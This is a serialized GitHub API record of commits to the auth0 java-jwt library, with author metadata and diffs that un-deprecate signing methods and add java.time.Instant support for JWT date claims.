following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (1433810366a592bf3fd2be48f1cb28ebcf3b42e6j  \https://api.github.com/repos/auth0/java-jwt/commits/1433810366a592bf3fd2be48f1cb28ebcf3b42e6j  Qhttps://github.com/auth0/java-jwt/commit/1433810366a592bf3fd2be48f1cb28ebcf3b42e6uastats}(totalK	additionsK	deletionsKufiles](}(j  (0b4e74b78e270bab8845e16abab7bae44f648e40filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=e7cae2b56f51143b4cd373639f65557e0877c0ffpatchX  @@ -397,14 +397,13 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
 
     /**
      * Sign the given content using this Algorithm instance.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param contentBytes an array of bytes representing the base64 encoded content to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
-     * @deprecated Please use the {@linkplain #sign(byte[], byte[])} method instead.
      */
 
-    @Deprecated
     public abstract byte[] sign(byte[] contentBytes) throws SignatureGenerationException;
 
 }u}(j  (26a87bc41d2eddc182bed419f80041fb5f3e4b8aj  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://github.com/auth0/java-jwt/raw/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=e7cae2b56f51143b4cd373639f65557e0877c0ffj  X,  @@ -131,6 +131,7 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
 
     /**
      * Verify signature.
+     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param secretBytes algorithm secret.
@@ -139,27 +140,24 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
         return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
     }
 
     /**
      * Create signature.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param secretBytes algorithm secret.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException {
         final Mac mac = Mac.getInstance(algorithm);
         mac.init(new SecretKeySpec(secretBytes, algorithm));
@@ -168,6 +166,7 @@ byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBy
 
     /**
      * Verify signature using a public key.
+     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param publicKey algorithm public key.
@@ -177,10 +176,8 @@ byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBy
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
      * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initVerify(publicKey);
@@ -190,6 +187,7 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] content
 
     /**
      * Create signature using a private key.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param privateKey the private key to use for signing.
@@ -198,10 +196,8 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] content
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
      * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);u}(j  (51fa70faf3f47c61a8890193e7bdb7771f11aabcj  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=e7cae2b56f51143b4cd373639f65557e0877c0ffj  X1  @@ -71,7 +71,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {
             ECPrivateKey privateKey = keyProvider.getPrivateKey();u}(j  (26ad6a87dee208122c23c607eb1602d0832eabd2j  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=e7cae2b56f51143b4cd373639f65557e0877c0ffj  XD  @@ -69,7 +69,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {
             return crypto.createSignatureFor(getDescription(), secret, contentBytes);u}(j  (ade07b0ed9dee5f1fcda53d7792db02883e9c3f1j  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=e7cae2b56f51143b4cd373639f65557e0877c0ffj  X  @@ -31,7 +31,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         return new byte[0];
     }u}(j  (cd1e97a52a4d590917b35a1d58c198821645862fj  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/e7cae2b56f51143b4cd373639f65557e0877c0ff/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=e7cae2b56f51143b4cd373639f65557e0877c0ffj  X@  @@ -55,7 +55,6 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
         try {
             RSAPrivateKey privateKey = keyProvider.getPrivateKey();ueu(69691563e76f483d97d93aad04216485e82abda7}(sha(69691563e76f483d97d93aad04216485e82abda7node_idEC_kwDOAQtL0doAKDY5NjkxNTYzZTc2ZjQ4M2Q5N2Q5M2FhZDA0MjE2NDg1ZTgyYWJkYTccommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-09T20:27:38Zu	committer}(j(  
Poovamraj T Tj*  poovamraj@gmail.comj,  2022-03-16T11:28:53ZumessageX  [SDK-3149] Add Instant support (#537)

* [SDK-3149] Add support for java.time.Instant

* formatting fixes

* add javadocs

* remove custom Instant claim verification check (not yet supported)

* add tests for default method implementations

* fix NullClaimTest for asInstanttree}(j   (494e70952c36dfa940e03b3130b7d1fb0f3bd3b6url^https://api.github.com/repos/auth0/java-jwt/git/trees/494e70952c36dfa940e03b3130b7d1fb0f3bd3b6uj8  `https://api.github.com/repos/auth0/java-jwt/git/commits/69691563e76f483d97d93aad04216485e82abda7
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj8  \https://api.github.com/repos/auth0/java-jwt/commits/69691563e76f483d97d93aad04216485e82abda7html_urlQhttps://github.com/auth0/java-jwt/commit/69691563e76f483d97d93aad04216485e82abda7comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/69691563e76f483d97d93aad04216485e82abda7/commentsj&  }(login
jimmyjamesidJ7 j"  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j8  'https://api.github.com/users/jimmyjamesjD  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj.  }(jI  	poovamrajjK  J j"  MDQ6VXNlcjE1OTEwNDI1jM  4https://avatars.githubusercontent.com/u/15910425?v=4jO  h3j8  &https://api.github.com/users/poovamrajjD  https://github.com/poovamrajjR  0https://api.github.com/users/poovamraj/followersjT  =https://api.github.com/users/poovamraj/following{/other_user}jV  6https://api.github.com/users/poovamraj/gists{/gist_id}jX  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jZ  4https://api.github.com/users/poovamraj/subscriptionsj\  +https://api.github.com/users/poovamraj/orgsj^  ,https://api.github.com/users/poovamraj/reposj`  7https://api.github.com/users/poovamraj/events{/privacy}jb  6https://api.github.com/users/poovamraj/received_eventsjd  Userjf  uparents]}(j   (58c92a8beed21ded89325c0fa5c7b80c9d2458bej8  \https://api.github.com/repos/auth0/java-jwt/commits/58c92a8beed21ded89325c0fa5c7b80c9d2458bejD  Qhttps://github.com/auth0/java-jwt/commit/58c92a8beed21ded89325c0fa5c7b80c9d2458beuastats}(totalMs	additionsM	deletionsK{ufiles](}(j   (7d58fe2fdc9e3ea164b6eccdc40565f6b764effbfilename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj  K7j  KchangesK:blob_urlhttps://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=69691563e76f483d97d93aad04216485e82abda7patchX  @@ -12,6 +12,7 @@
 import com.fasterxml.jackson.databind.module.SimpleModule;
 
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.*;
 import java.util.Map.Entry;
 
@@ -152,7 +153,19 @@ public Builder withExpiresAt(Date expiresAt) {
         }
 
         /**
-         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Add a specific Expires At ("exp") claim to the payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param expiresAt the Expires At value.
+         * @return this same Builder instance.
+         */
+        public Builder withExpiresAt(Instant expiresAt) {
+            addClaim(PublicClaims.EXPIRES_AT, expiresAt);
+            return this;
+        }
+
+        /**
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
          * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param notBefore the Not Before value.
@@ -164,7 +177,19 @@ public Builder withNotBefore(Date notBefore) {
         }
 
         /**
-         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param notBefore the Not Before value.
+         * @return this same Builder instance.
+         */
+        public Builder withNotBefore(Instant notBefore) {
+            addClaim(PublicClaims.NOT_BEFORE, notBefore);
+            return this;
+        }
+
+        /**
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
          * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param issuedAt the Issued At value.
@@ -175,6 +200,18 @@ public Builder withIssuedAt(Date issuedAt) {
             return this;
         }
 
+        /**
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param issuedAt the Issued At value.
+         * @return this same Builder instance.
+         */
+        public Builder withIssuedAt(Instant issuedAt) {
+            addClaim(PublicClaims.ISSUED_AT, issuedAt);
+            return this;
+        }
+
         /**
          * Add a specific JWT Id ("jti") claim to the Payload.
          *
@@ -271,6 +308,21 @@ public Builder withClaim(String name, Date value) throws IllegalArgumentExceptio
             return this;
         }
 
+        /**
+         * Add a custom Claim value. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param name  the Claim's name.
+         * @param value the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withClaim(String name, Instant value) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, value);
+            return this;
+        }
+
         /**
          * Add a custom Array Claim with the given items.
          *
@@ -453,7 +505,7 @@ private static boolean isBasicType(Object value) {
             if (c.isArray()) {
                 return c == Integer[].class || c == Long[].class || c == String[].class;
             }
-            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Boolean.class;
+            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Instant.class || c == Boolean.class;
         }
 
         /**u}(j   (558552419ee8f50aa274e994bb42d292347cd07dj  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X  @@ -9,6 +9,7 @@
 
 import java.io.Serializable;
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
 import java.util.List;
@@ -93,16 +94,31 @@ public Date getExpiresAt() {
         return payload.getExpiresAt();
     }
 
+    @Override
+    public Instant getExpiresAtAsInstant() {
+        return payload.getExpiresAtAsInstant();
+    }
+
     @Override
     public Date getNotBefore() {
         return payload.getNotBefore();
     }
 
+    @Override
+    public Instant getNotBeforeAsInstant() {
+        return  payload.getNotBeforeAsInstant();
+    }
+
     @Override
     public Date getIssuedAt() {
         return payload.getIssuedAt();
     }
 
+    @Override
+    public Instant getIssuedAtAsInstant() {
+        return payload.getIssuedAtAsInstant();
+    }
+
     @Override
     public String getId() {
         return payload.getId();u}(j   (8dfb6dbf7f4da4863a0d1f2c0a7264a666ebd517j  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj  modifiedj  Kj  Kj  K"j  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaE     j  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X	  @@ -9,8 +9,11 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
-import java.util.*;
 import java.time.Clock;
+import java.time.Duration;
+import java.time.Instant;
+import java.time.temporal.ChronoUnit;
+import java.util.*;
 
 /**
  * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
@@ -327,13 +330,13 @@ private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expecte
                 assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), false);
                 break;
             case PublicClaims.EXPIRES_AT:
-                assertValidDateClaim(jwt.getExpiresAt(), (Long) expectedClaim.getValue(), true);
+                assertValidInstantClaim(jwt.getExpiresAtAsInstant(), (Long) expectedClaim.getValue(), true);
                 break;
             case PublicClaims.ISSUED_AT:
-                assertValidDateClaim(jwt.getIssuedAt(), (Long) expectedClaim.getValue(), false);
+                assertValidInstantClaim(jwt.getIssuedAtAsInstant(), (Long) expectedClaim.getValue(), false);
                 break;
             case PublicClaims.NOT_BEFORE:
-                assertValidDateClaim(jwt.getNotBefore(), (Long) expectedClaim.getValue(), false);
+                assertValidInstantClaim(jwt.getNotBeforeAsInstant(), (Long) expectedClaim.getValue(), false);
                 break;
             case PublicClaims.ISSUER:
                 assertValidIssuerClaim(jwt.getIssuer(), (List<String>) expectedClaim.getValue());
@@ -403,27 +406,24 @@ private void assertValidStringClaim(String claimName, String value, String expec
         }
     }
 
-    private void assertValidDateClaim(Date date, long leeway, boolean shouldBeFuture) {
-        Date today = new Date(clock.millis());
-        today.setTime(today.getTime() / 1000 * 1000); // truncate millis
+    private void assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
+        Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
         if (shouldBeFuture) {
-            assertDateIsFuture(date, leeway, today);
+            assertInstantIsFuture(claimVal, leeway, now);
         } else {
-            assertDateIsPast(date, leeway, today);
+            assertInstantIsPast(claimVal, leeway, now);
         }
     }
 
-    private void assertDateIsFuture(Date date, long leeway, Date today) {
-        today.setTime(today.getTime() - leeway * 1000);
-        if (date != null && today.after(date)) {
-            throw new TokenExpiredException(String.format("The Token has expired on %s.", date));
+    private void assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
+        if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
+            throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
         }
     }
 
-    private void assertDateIsPast(Date date, long leeway, Date today) {
-        today.setTime(today.getTime() + leeway * 1000);
-        if (date != null && today.before(date)) {
-            throw new InvalidClaimException(String.format("The Token can't be used before %s.", date));
+    private void assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+        if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
+            throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
         }
     }
 u}(j   (0d8161283f4d6b422e2d0baf948dcde0c1a6c944j  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X  @@ -6,11 +6,11 @@
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.core.type.TypeReference;
 import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.IOException;
 import java.lang.reflect.Array;
+import java.time.Instant;
 import java.util.ArrayList;
 import java.util.Date;
 import java.util.List;
@@ -63,6 +63,15 @@ public Date asDate() {
         return new Date(seconds * 1000);
     }
 
+    @Override
+    public Instant asInstant() {
+        if (!data.canConvertToLong()) {
+            return null;
+        }
+        long seconds = data.asLong();
+        return Instant.ofEpochSecond(seconds);
+    }
+
     @Override
     @SuppressWarnings("unchecked")
     public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {u}(j   (664328de3e3a4642a7a7da5b6c96bd5269e5b6a3j  3lib/src/main/java/com/auth0/jwt/impl/NullClaim.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X  @@ -3,6 +3,7 @@
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.auth0.jwt.interfaces.Claim;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -46,6 +47,11 @@ public Date asDate() {
         return null;
     }
 
+    @Override
+    public Instant asInstant() {
+        return null;
+    }
+
     @Override
     public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
         return null;u}(j   (46bd7ebef70175ff483311de5c64ccc752efba37j  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X  @@ -11,6 +11,7 @@
 import com.fasterxml.jackson.databind.deser.std.StdDeserializer;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 /**
@@ -45,9 +46,9 @@ public Payload deserialize(JsonParser p, DeserializationContext ctxt) throws IOE
         String issuer = getString(tree, PublicClaims.ISSUER);
         String subject = getString(tree, PublicClaims.SUBJECT);
         List<String> audience = getStringOrArray(tree, PublicClaims.AUDIENCE);
-        Date expiresAt = getDateFromSeconds(tree, PublicClaims.EXPIRES_AT);
-        Date notBefore = getDateFromSeconds(tree, PublicClaims.NOT_BEFORE);
-        Date issuedAt = getDateFromSeconds(tree, PublicClaims.ISSUED_AT);
+        Instant expiresAt = getInstantFromSeconds(tree, PublicClaims.EXPIRES_AT);
+        Instant notBefore = getInstantFromSeconds(tree, PublicClaims.NOT_BEFORE);
+        Instant issuedAt = getInstantFromSeconds(tree, PublicClaims.ISSUED_AT);
         String jwtId = getString(tree, PublicClaims.JWT_ID);
 
         return new PayloadImpl(issuer, subject, audience, expiresAt, notBefore, issuedAt, jwtId, tree, objectReader);
@@ -73,16 +74,15 @@ List<String> getStringOrArray(Map<String, JsonNode> tree, String claimName) thro
         return list;
     }
 
-    Date getDateFromSeconds(Map<String, JsonNode> tree, String claimName) {
+    Instant getInstantFromSeconds(Map<String, JsonNode> tree, String claimName) {
         JsonNode node = tree.get(claimName);
         if (node == null || node.isNull()) {
             return null;
         }
         if (!node.canConvertToLong()) {
             throw new JWTDecodeException(String.format("The claim '%s' contained a non-numeric date value.", claimName));
         }
-        final long ms = node.asLong() * 1000;
-        return new Date(ms);
+        return Instant.ofEpochSecond(node.asLong());
     }
 
